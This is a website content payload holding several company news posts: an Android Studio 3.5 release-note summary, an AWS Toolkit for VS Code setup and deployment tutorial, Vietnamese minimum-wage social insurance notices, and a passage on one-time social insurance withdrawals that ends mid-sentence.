areas.",[11,1555,1556,1560],{},[438,1557],{"className":1558,"alt":66,"src":1559,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103359\u002Fconstraint-relationships-3.5-1024x469.png",[473,1561],{},[438,1563],{"className":1564,"alt":66,"src":1565,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103500\u002FPicture1.png",[11,1567,1568],{},"Similarly, you can now delete a constraint by selecting it and pressing the Delete key. by holding the Control key (Command on macOS) and clicking on the constraint anchor. Note that when you hold the Control or Command key and hover over an anchor, any associated constraints turn red to indicate that you can click to delete them.",[438,1570],{"className":1571,"alt":66,"src":1572,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103600\u002FPicture2.png",[11,1574,1575,1576,1579,1580,212,1583,1586,1587,1589],{},"When a view is selected, you can create a constraint by clicking on any of the ",[20,1577,1578],{},"+"," icons in the ",[20,1581,1582],{},"Constraint",[20,1584,1585],{},"Widget"," section of the ",[20,1588,1552],{}," panel, as shown in the following image.",[438,1591],{"className":1592,"alt":66,"src":1593,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-widget-3.5.gif",[11,1595,1596],{},"When creating a constraint, the Layout Editor now shows only the eligible anchor points to which you can constrain. Previously, the Layout Editor highlighted all anchor points on all views, regardless of whether you could constrain to them. In addition, a blue overlay now highlights the target of the constraint. This highlighting is particularly useful when attempting to constrain to a component that overlaps with another.",[438,1598],{"className":1599,"alt":66,"src":1600,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.4.gif",[11,1602,1603],{},"Creating a constraint for an overlapping component in Android Studio 3.4.",[438,1605],{"className":1606,"alt":66,"src":1607,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.5.gif",[11,1609,1610],{},"Creating a constraint for an overlapping component in Android Studio 3.5.",[565,1612,1614,1615],{"id":1613},"_6improved-support-for-cc-projects","6. ",[20,1616,1617],{},"Improved support for C\u002FC++ projects",[11,1619,1620],{},[20,1621,1622],{},"Build Variants panel improvements for single variant sync",[11,1624,1625,1626,1629],{},"You can now specify both the active build variant and active ABI in the ",[20,1627,1628],{},"Build Variants"," panel. This feature simplifies build configuration per module and can also improve Gradle sync performance.",[438,1631],{"className":1632,"alt":66,"src":1633,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103750\u002Fsingle-variant-ABI.png",[11,1635,1636],{},[20,1637,1638],{},"Side-by-side versions of the NDK",[11,1640,1641],{},"You can now use multiple versions of the NDK side-by-side. This feature gives you more flexibility when configuring your projects—for example, if you have projects that use different versions of the NDK on the same machine.",[11,1643,1644],{},"If your project uses Android Gradle plugin 3.5.0 or higher, you can also specify the version of the NDK that each module in your project should use. You can use this feature to create reproducible builds and to mitigate incompatibilities between NDK versions and the Android Gradle plugin.",[403,1646,1648],{"id":1647},"iii-known-issue",[20,1649,1650],{},"III. Known issue",[11,1652,1653,1654,1657],{},"When editing XML code, the IDE might apply an incorrect code style when you select ",[20,1655,1656],{},"Code > Reformat Code"," from the menu bar. To fix this issue, reset the appropriate Android code style as follows:",[31,1659,1660,1674,1680,1686],{},[34,1661,1662,1663,1665,1666,1669,1670,1673],{},"Open the ",[20,1664,1384],{}," window by clicking ",[20,1667,1668],{},"File > Settings"," (on macOS, ",[20,1671,1672],{},"Android Studio > Preferences",").",[34,1675,1676,1677,878],{},"In the left panel, click ",[20,1678,1679],{},"Editor > Code Style > XML",[34,1681,1682,1683,878],{},"Near the top-right corner of the right panel, select ",[20,1684,1685],{},"Set from > Predefined Style > Android",[34,1687,1688,1689,878],{},"Click ",[20,1690,1691],{},"OK",[1693,1694,1696],"h4",{"id":1695},"reference","Reference:",[203,1698,1699],{},[34,1700,1701],{},[55,1702,1703],{"href":1703,"rel":1704},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases",[59],{"title":66,"searchDepth":67,"depth":67,"links":1706},[1707,1714,1724],{"id":1350,"depth":67,"text":1353,"children":1708},[1709,1710,1712,1713],{"id":1356,"depth":1306,"text":1359},{"id":1408,"depth":1306,"text":1711},"2. Memory usage report",{"id":1430,"depth":1306,"text":1433},{"id":1444,"depth":1306,"text":1447},{"id":1453,"depth":67,"text":1456,"children":1715},[1716,1717,1718,1719,1720,1722],{"id":1459,"depth":1306,"text":1460},{"id":1493,"depth":1306,"text":1496},{"id":1506,"depth":1306,"text":1509},{"id":1515,"depth":1306,"text":1518},{"id":1538,"depth":1306,"text":1721},"5. Layout Editor",{"id":1613,"depth":1306,"text":1723},"6. Improved support for C\u002FC++ projects",{"id":1647,"depth":67,"text":1650},[1318,1319],"2019-09-27","Android Studio 3.5 focuses on improving three main areas of the IDE: system health, feature polish, and fixing bugs. I. New Function 1. Recommended memory settings By default, Android Studio has a maximum heap size of 1280MB. If you are working on a large project, or your system has a lot of RAM, you can improve performance by increasing the maximum heap size for Android Studio processes, such as the core IDE, Gradle daemon, and Kotlin daemon.",{},"\u002Fnews\u002Fandroid-studio-3-5-release-note-summary",{"title":1330,"description":1727},"news\u002Fandroid-studio-3-5-release-note-summary","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06102504\u002FScreen-Shot-2019-09-27-at-19.15.20.png","4v7HfxcOGealo-jqLwBEgRyvKVakTgi3KpodGW-VPj0",{"id":1735,"title":1736,"body":1737,"category":2118,"created by":70,"date":2119,"description":2120,"extension":72,"meta":2121,"navigation":74,"path":2122,"sections":76,"seo":2123,"stem":2124,"thumbnail":2125,"__hash__":2126},"content_en\u002Fnews\u002Faws-toolkit-for-visual-studio-code.md","AWS Toolkit for Visual Studio Code",{"type":8,"value":1738,"toc":2107},[1739,1743,1746,1749,1776,1782,1793,1798,1811,1817,1845,1851,1854,1859,1867,1873,1916,1922,1950,1956,1960,1970,1976,1981,1995,2046,2050,2058,2062],[565,1740,1742],{"id":1741},"aws-toolkit","AWS Toolkit",[11,1744,1745],{},"This extension makes it easier for developers to develop, debug locally, and deploy serverless applications that use Amazon Web Services (AWS).",[11,1747,1748],{},"You can use the AWS Toolkit for Visual Studio Code as follows:",[31,1750,1751,1759,1765],{},[34,1752,1753,1754,1673],{},"Develop serverless applications locally, and then deploy them to an AWS account (see ",[55,1755,1758],{"href":1756,"rel":1757},"https:\u002F\u002Fmarketplace.visualstudio.com\u002Fitems?itemName=AmazonWebServices.aws-toolkit-vscode#usage",[59],"Usage",[34,1760,1761,1762,1673],{},"Manage certain supported AWS resources in an AWS account (see ",[55,1763,1758],{"href":1756,"rel":1764},[59],[34,1766,1767,1768],{},"This includes:",[203,1769,1770,1773],{},[34,1771,1772],{},"Listing and deleting AWS CloudFormation stacks.",[34,1774,1775],{},"Listing and invoking AWS Lambda functions.",[565,1777,1779],{"id":1778},"required",[20,1780,1781],{},"Required",[203,1783,1784,1787,1790],{},[34,1785,1786],{},"An Amazon Web Services account.",[34,1788,1789],{},"A supported operating system – Windows, Linux, and macOS.",[34,1791,1792],{},"VS Code version 1.31.1 or later.",[11,1794,1795],{},[20,1796,1797],{},"(Optional)",[203,1799,1800,1808],{},[34,1801,1802,1803],{},"AWS SAM CLI – helps you develop, test, and analyze your serverless applications locally. This isn't required for installing the toolkit. However, we recommend that you install it (and Docker, described below) because it is required for any AWS Serverless Application Model (AWS SAM) functionality such as Creating a Serverless Application. See how to install AWS SAM CLI in ",[55,1804,1807],{"href":1805,"rel":1806},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fserverless-application-model\u002Flatest\u002Fdeveloperguide\u002Fserverless-sam-cli-install.html",[59],"this link",[34,1809,1810],{},"Docker – required by the AWS SAM CLI.",[565,1812,1814],{"id":1813},"install",[20,1815,1816],{},"Install",[203,1818,1819,1835,1838],{},[34,1820,1821,1822,1825,1826,1831],{},"Open VScode and change to Extension tab in Activity bar. Search with keyword “AWS Toolkit for Visual Studio Code”. ",[20,1823,1824],{},"Note:"," You  can also install this toolkit from Vscode Website with this ",[55,1827,1830],{"href":1828,"rel":1829},"https:\u002F\u002Fmarketplace.visualstudio.com\u002Fitems?itemName=AmazonWebServices.aws-toolkit-vscode",[59],"link",[438,1832],{"className":1833,"alt":66,"src":1834,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090446\u002Faws1.png",[34,1836,1837],{},"Choose Install.",[34,1839,1840,1841],{},"After if you're prompted to restart the editor, choose Reload Required. Success installation, in Activity bar had AWS icon.",[438,1842],{"className":1843,"alt":66,"src":1844,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Faws2-1.png",[565,1846,1848],{"id":1847},"get-your-aws-access-keys",[20,1849,1850],{},"Get Your AWS Access Keys",[11,1852,1853],{},"Access keys are the credentials that identify you to AWS and enable you to programmatically access AWS services and resources. Access keys can be associated with your AWS account (the account's \"root user\") or with users that you create with AWS Identity and Access Management (IAM).",[11,1855,1856],{},[20,1857,1858],{},"Warning",[11,1860,1861,1862,878],{},"Because the root user is essentially an administrator with full access to services and resources, we recommend that you instead create an IAM user with only those permissions needed to perform the required tasks. Then, for your credentials, you can use an access key that is associated with that user. For details, see ",[55,1863,1866],{"href":1864,"rel":1865},"https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002Fid_users_create.html",[59],"this",[565,1868,1870],{"id":1869},"create-a-new-credential-profile",[20,1871,1872],{},"Create a new credential profile",[203,1874,1875,1878,1884,1895,1902,1909],{},[34,1876,1877],{},"Open VSCode.",[34,1879,1880,1881,1673],{},"Hold Ctrl + Shift + P (open ",[20,1882,1883],{},"Command Palette",[34,1885,1886,1887,878,1890],{},"Search and choose ",[20,1888,1889],{},"AWS: Create Credentials Profile",[438,1891],{"className":1892,"alt":66,"src":1893,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090640\u002Faws3.png","width: 80%;",[34,1896,1897,1898],{},"Enter profile name (ex: default).",[438,1899],{"className":1900,"alt":66,"src":1901,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090707\u002Faws4.png",[34,1903,1904,1905],{},"Enter access key id.",[438,1906],{"className":1907,"alt":66,"src":1908,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090736\u002Faws5.png",[34,1910,1911,1912],{},"Enter secret key.",[438,1913],{"className":1914,"alt":66,"src":1915,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090748\u002Faws6.png",[565,1917,1919],{"id":1918},"connect-to-aws-through-the-aws-toolkit-for-visual-studio-code",[20,1920,1921],{},"Connect to AWS through the AWS Toolkit for Visual Studio Code",[203,1923,1924,1927,1932,1942],{},[34,1925,1926],{},"Open VScode.",[34,1928,1929,1930,1673],{},"Hold Ctrl + Shift + P (mở ",[20,1931,1883],{},[34,1933,1934,1935,1938],{},"Search ",[20,1936,1937],{},"AWS: Connect to AWS.",[438,1939],{"className":1940,"alt":66,"src":1941,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090848\u002Faws7.png",[34,1943,1944,1945,1949],{},"Choose a profile from the list.",[438,1946],{"className":1947,"alt":66,"src":1948,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090913\u002Faws8.png"," \n",[11,1951,1952,1953,878],{},"If have a small alert popup in the right bottom corner, choose ",[20,1954,1955],{},"Yes",[438,1957],{"className":1958,"alt":66,"src":1959,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090935\u002Faws9.png",[203,1961,1963],{"start":1962},5,[34,1964,1965,1966],{},"Now, it had connected to AWS. You can choose your work region.\n",[438,1967],{"className":1968,"alt":66,"src":1969,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091018\u002Faws10.png",[565,1971,1973],{"id":1972},"run-sam-application-in-localhost",[20,1974,1975],{},"Run SAM Application in localhost",[11,1977,1978],{},[20,1979,1980],{},"Requirement:",[31,1982,1983,1986,1989,1992],{},[34,1984,1985],{},"An IAM user with Administration permission.",[34,1987,1988],{},"Installed and started Docker.",[34,1990,1991],{},"Installed AWS CLI and AWS SAM.",[34,1993,1994],{},"In AWS S3 created 1 bucket.",[203,1996,1997,2004,2011,2018,2025,2032,2039],{},[34,1998,1999,2000],{},"Choose Create new SAM Application.",[438,2001],{"className":2002,"alt":66,"src":2003,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091122\u002Fdebug1-1.png",[34,2005,2006,2007],{},"Choose language for a SAM application.",[438,2008],{"className":2009,"alt":66,"src":2010,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091146\u002Fdebug2-1.png",[34,2012,2013,2014],{},"Choose folder to save a new project.",[438,2015],{"className":2016,"alt":66,"src":2017,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091205\u002Fdebug3-1.png",[34,2019,2020,2021],{},"Input name for new project.",[438,2022],{"className":2023,"alt":66,"src":2024,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091220\u002Fdebug4.png",[34,2026,2027,2028],{},"This is a sample SAM project.",[438,2029],{"className":2030,"alt":66,"src":2031,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091250\u002Fdebug6.png",[34,2033,2034,2035],{},"In the localhost, open file app.js and then choose Run Locally to run SAM application.",[438,2036],{"className":2037,"alt":66,"src":2038,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091313\u002Fdebug7.png",[34,2040,2041,2042],{},"Then, return API result in tab Output of VScode.",[438,2043],{"className":2044,"alt":66,"src":2045,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091324\u002Fdebug8-1024x525.png",[565,2047,2049],{"id":2048},"debug-sam-application-in-the-localhost","Debug SAM Application in the localhost",[11,2051,2052,2053],{},"Choose Debug Locally and add debug point where you want to show information.\n",[438,2054],{"className":2055,"alt":66,"src":2056,"style":2057},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091348\u002Fdebug9-1024x312.png","width: 95%;",[565,2059,2061],{"id":2060},"deploy-sam-application-to-aws","Deploy SAM Application to AWS.",[203,2063,2064,2071,2078,2085,2092,2099],{},[34,2065,2066,2067],{},"Choose Deploy SAM Application.",[438,2068],{"className":2069,"alt":66,"src":2070,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091409\u002Fdeploy1.png",[34,2072,2073,2074],{},"Choose a SAM template deploy to AWS.",[438,2075],{"className":2076,"alt":66,"src":2077,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091445\u002Fdeploy2.png",[34,2079,2080,2081],{},"Choose AWS Region.",[438,2082],{"className":2083,"alt":66,"src":2084,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091457\u002Fdeploy3.png",[34,2086,2087,2088],{},"Enter bucket name in S3 (This bucket is requirement exist in S3).",[438,2089],{"className":2090,"alt":66,"src":2091,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091508\u002Fdeploy4.png",[34,2093,2094,2095],{},"Enter name for stack.",[438,2096],{"className":2097,"alt":66,"src":2098,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06094204\u002Fdeploy5.png",[34,2100,2101,2102,2103],{},"When success uploaded to AWS, in AWS Explorer will show new CloudFormation and Lambda function.","\n ",[438,2104],{"className":2105,"alt":66,"src":2106,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091542\u002Fdeploy6.png",{"title":66,"searchDepth":67,"depth":67,"links":2108},[2109,2110,2111,2112,2113,2114,2115,2116,2117],{"id":1741,"depth":1306,"text":1742},{"id":1778,"depth":1306,"text":1781},{"id":1813,"depth":1306,"text":1816},{"id":1847,"depth":1306,"text":1850},{"id":1869,"depth":1306,"text":1872},{"id":1918,"depth":1306,"text":1921},{"id":1972,"depth":1306,"text":1975},{"id":2048,"depth":1306,"text":2049},{"id":2060,"depth":1306,"text":2061},"teck talk","2019-09-20","AWS Toolkit This extension makes it easier for developers to develop, debug locally, and deploy serverless applications that use Amazon Web Services (AWS). You can use the AWS Toolkit for Visual Studio Code as follows: Develop serverless applications locally, and then deploy them to an AWS account (see Usage). Manage certain supported AWS resources in an AWS account (see Usage)",{},"\u002Fnews\u002Faws-toolkit-for-visual-studio-code",{"title":1736,"description":2120},"news\u002Faws-toolkit-for-visual-studio-code","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090408\u002Fawstoolkit_vscode-1.png","XB_XFUl4i7YsbkerL2pgH7X6n4jdCmy-wDJ5z3F51mc",{"id":2128,"title":2129,"body":2130,"category":69,"created by":70,"date":2244,"description":2245,"extension":72,"meta":2246,"navigation":74,"path":2247,"sections":76,"seo":2248,"stem":2249,"thumbnail":2250,"__hash__":2251},"content_en\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018.md","[INSURANCE] ANNOUNCEMENT OF GENERAL MINIMUM WAGE ADJUSTMENT STARTED FROM JULY 2018",{"type":8,"value":2131,"toc":2242},[2132,2135,2138],[11,2133,2134],{},"Pursuant to Decree No. 72\u002F2018\u002F ND-CP, from July 01, 2018, the General Minimum Wage (GMW) will be officially increased from VND 1,300,000\u002F month to VND 1,390,000\u002F month (increasing 90,000 VND \u002F month).",[11,2136,2137],{},"Accordingly, with the increased GMW, the cap for Social insurance, Health insurance and Maternity allowance (in addition to 6 months of benefit) is as follows:",[276,2139,2140,2154],{},[279,2141,2142],{},[282,2143,2144,2149],{},[285,2145,2146],{},[20,2147,2148],{},"The cap for social insurance, health insurance (old)",[285,2150,2151],{},[20,2152,2153],{},"The cap for social insurance, health insurance (new)",[301,2155,2156,2179,2202,2225],{},[282,2157,2158,2169],{},[306,2159,2160,2163,2165,2166,2168],{},[20,2161,2162],{},"1.300.000 x 20 = 26.000.000 VND",[473,2164],{},"The highest contribution level is 26.000.000 VND",[473,2167],{},"(as 20 times as the GMW)",[306,2170,2171,2174,2176,2177,2168],{},[20,2172,2173],{},"1.390.000 x 20 = 27.800.000 VND",[473,2175],{},"The highest contribution level is 27.800.000 VND",[473,2178],{},[282,2180,2181,2192],{},[306,2182,2183,2186,2188,2189,2191],{},[20,2184,2185],{},"The company",[473,2187],{},"Social Insurance (17.5%): 26.000.000 x 17.5% = 4.550.000 VND",[473,2190],{},"Health Insurance (3%): 26.000.000 x 3% = 780.000 VND",[306,2193,2194,2196,2198,2199,2201],{},[20,2195,2185],{},[473,2197],{},"Social Insurance (17.5%): 27.800.000 x 17.5% = 4.865.000 VND",[473,2200],{},"Health Insurance (3%): 27.800.000 x 3% = 834.000 VND",[282,2203,2204,2215],{},[306,2205,2206,2209,2211,2212,2214],{},[20,2207,2208],{},"Employee",[473,2210],{},"Social Insurance (8%): 26.000.000 x 8% = 2.080.000 VND",[473,2213],{},"Health Insurance (1.5%): 26.000.000 x 1.5% = 390.000 VND",[306,2216,2217,2219,2221,2222,2224],{},[20,2218,2208],{},[473,2220],{},"Social Insurance (8%): 27.800.000 x 8% = 2.224.000 VND",[473,2223],{},"Health Insurance (1.5%): 27.800.000 x 1.5% = 417.000 VND",[282,2226,2227,2235],{},[306,2228,2229,2232,2234],{},[20,2230,2231],{},"Maternity (supported for 2 months)",[473,2233],{},"1.300.000 x 2 = 2.600.000 VND",[306,2236,2237,2239,2241],{},[20,2238,2231],{},[473,2240],{},"1.390.000 x 2 = 2.780.000 VND",{"title":66,"searchDepth":67,"depth":67,"links":2243},[],"2018-07-17","Pursuant to Decree No. 72\u002F2018\u002F ND-CP, from July 01, 2018, the General Minimum Wage (GMW) will be officially increased from VND 1,300,000\u002F month to VND 1,390,000\u002F month (increasing 90,000 VND \u002F month). Accordingly, with the increased GMW, the cap for Social insurance, Health insurance and Maternity allowance (in addition to 6 months of benefit) is as follows: The cap for social insurance, health insurance (old)",{},"\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018",{"title":2129,"description":2245},"news\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2018\u002F07\u002F05095906\u002F17121703798_c3be57bae8_b.jpg","c1oyqys1yFfGAhsyHhSs_8SyQJCPeD_5n4TgWUk4-kM",{"id":2253,"title":2254,"body":2255,"category":69,"created by":70,"date":2364,"description":2365,"extension":72,"meta":2366,"navigation":74,"path":2367,"sections":76,"seo":2368,"stem":2369,"thumbnail":76,"__hash__":2370},"content_en\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020.md","[INSURANCE] ANNOUNCEMENT OF GENERAL MINIMUM WAGE ADJUSTMENT STARTED FROM JULY 2020",{"type":8,"value":2256,"toc":2362},[2257,2260,2262],[11,2258,2259],{},"Pursuant to Resolution No. 86\u002F2019\u002F QH14, from July 01, 2020, the General Minimum Wage (GMW) will be officially increased from VND 1,490,000\u002F month to VND 1,600,000\u002F month (increasing 110,000 VND \u002F month).",[11,2261,2137],{},[276,2263,2264,2276],{},[279,2265,2266],{},[282,2267,2268,2272],{},[285,2269,2270],{},[20,2271,2148],{},[285,2273,2274],{},[20,2275,2153],{},[301,2277,2278,2300,2323,2346],{},[282,2279,2280,2290],{},[306,2281,2282,2285,2287,2288,2168],{},[20,2283,2284],{},"1.490.000 x 20 = 29.800.000 VND",[473,2286],{},"The highest contribution level is 29.800.000 VND",[473,2289],{},[306,2291,2292,2295,2297,2298,2168],{},[20,2293,2294],{},"1.600.000 x 20 = 32.000.000 VND",[473,2296],{},"The highest contribution level is 32.000.000 VND",[473,2299],{},[282,2301,2302,2313],{},[306,2303,2304,2307,2309,2310,2312],{},[20,2305,2306],{},"The company:",[473,2308],{},"Social Insurance (17.5%): 29.800.000 x 17.5% = 5.215.000 VND",[473,2311],{},"Health Insurance (3%): 29.800.000 x 3% = 894.000 VND",[306,2314,2315,2317,2319,2320,2322],{},[20,2316,2306],{},[473,2318],{},"Social Insurance (17.5%): 32.000.000 x 17.5% = 5.215.000 VND",[473,2321],{},"Health Insurance (3%): 32.000.000 x 3% = 894.000 VND",[282,2324,2325,2336],{},[306,2326,2327,2330,2332,2333,2335],{},[20,2328,2329],{},"Employee:",[473,2331],{},"Social Insurance (8%): 29.800.000 x 8% = 2.384.000 VND",[473,2334],{},"Health Insurance (1.5%): 29.800.000 x 1.5% = 447.000 VND",[306,2337,2338,2340,2342,2343,2345],{},[20,2339,2329],{},[473,2341],{},"Social Insurance (8%): 32.000.000 x 8% = 2.384.000 VND",[473,2344],{},"Health Insurance (1.5%): 32.000.000 x 1.5% = 447.000 VND",[282,2347,2348,2355],{},[306,2349,2350,2352,2354],{},[20,2351,2231],{},[473,2353],{},"1.490.000 x 2 = 2.980.000 VND",[306,2356,2357,2359,2361],{},[20,2358,2231],{},[473,2360],{},"1.600.000 x 2 = 3.200.000 VND",{"title":66,"searchDepth":67,"depth":67,"links":2363},[],"2020-01-15","Pursuant to Resolution No. 86\u002F2019\u002F QH14, from July 01, 2020, the General Minimum Wage (GMW) will be officially increased from VND 1,490,000\u002F month to VND 1,600,000\u002F month (increasing 110,000 VND \u002F month). Accordingly, with the increased GMW, the cap for Social insurance, Health insurance and Maternity allowance (in addition to 6 months of benefit) is as follows: The cap for social insurance, health insurance (old)",{},"\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020",{"title":2254,"description":2365},"news\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020","cTjs0AR8ya2NerQkiLj0PhiKBx6_AypI4K_lfPYIrFo",{"id":2372,"title":2373,"body":2374,"category":69,"created by":70,"date":2440,"description":2441,"extension":72,"meta":2442,"navigation":74,"path":2443,"sections":76,"seo":2444,"stem":2445,"thumbnail":2446,"__hash__":2447},"content_en\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong.md","ONE-TIME SOCIAL INSURANCE: CAN EMPLOYEES RECEIVE MULTIPLE TIMES?",{"type":8,"value":2375,"toc":2438},[2376,2379,2382,2385,2388,2391,2405,2408,2411,2415],[11,2377,2378],{},"Currently, the Covid-19 pandemic has negatively impacted the whole society, including the mass loss of jobs. When the stable monthly income source was lost, many people chose to receive the one-time social insurance benefit.",[11,2380,2381],{},"So, in case the employees quit their job and enjoy the one-time social insurance benefit, when they join a new company and pay social insurance from zero, will the employee still receive the social insurance allowance again?",[11,2383,2384],{},"According to Clause 1, Article 1 of Resolution 93\u002F2015\u002FQH13, stipulating the implementation of the policy of enjoying one-time social insurance for employees as follows:",[11,2386,2387],{},"“One year after leaving their jobs, for employees participating in compulsory social insurance, or after stopping to make social insurance contributions, for persons participating in voluntary social insurance, employees participating in compulsory social insurance and persons participating in voluntary social insurance whose social insurance payment period is less than 20 years will be entitled to receive one-time social insurance benefits if they so request.”",[11,2389,2390],{},"In addition, according to Clause 1, Article 8 of Decree No. 115\u002F2015\u002FND-CP stipulating that an employee who makes a request is entitled to a one-time social insurance allowance in one of the following cases:",[31,2392,2393,2396,2399,2402],{},[34,2394,2395],{},"He\u002Fshe reaches the statutory retirement age specified Clauses 1, 2 and 4 Article 54 of the Law on Social insurance but has paid social insurance for under 20 years or he\u002Fshe reaches the statutory retirement age specified Clause 3 Article 54 of the Law on Social insurance but has paid social insurance for under 15 years and does not continue paying voluntary social insurance;",[34,2397,2398],{},"He\u002Fshe has not paid social insurance for under 20 years and does not continue paying social  insurance after 1-year work ceasing;",[34,2400,2401],{},"He\u002Fshe settles abroad;",[34,2403,2404],{},"He\u002Fshe suffers a fatal disease, such as cancer, poliomyelitis, dropsy cirrhosis, leprosy, serious tuberculosis, HIV infection progressing into AIDS, or other diseases as prescribed by the Ministry of Health.",[11,2406,2407],{},"Thus, at present, the law does not specify the number of one-time social insurance withdrawals when eligible for benefits. Therefore, if the employee has fully met the conditions as prescribed by the law above, he\u002Fshe can withdraw the social insurance once at any time.",[11,2409,2410],{},"However, receiving one-time social insurance will bring many disadvantages to employees, because of immediate benefits, employees will miss the opportunity to enjoy a pension to cover their lives, as well as enjoy a health insurance scheme to take care of their health in old 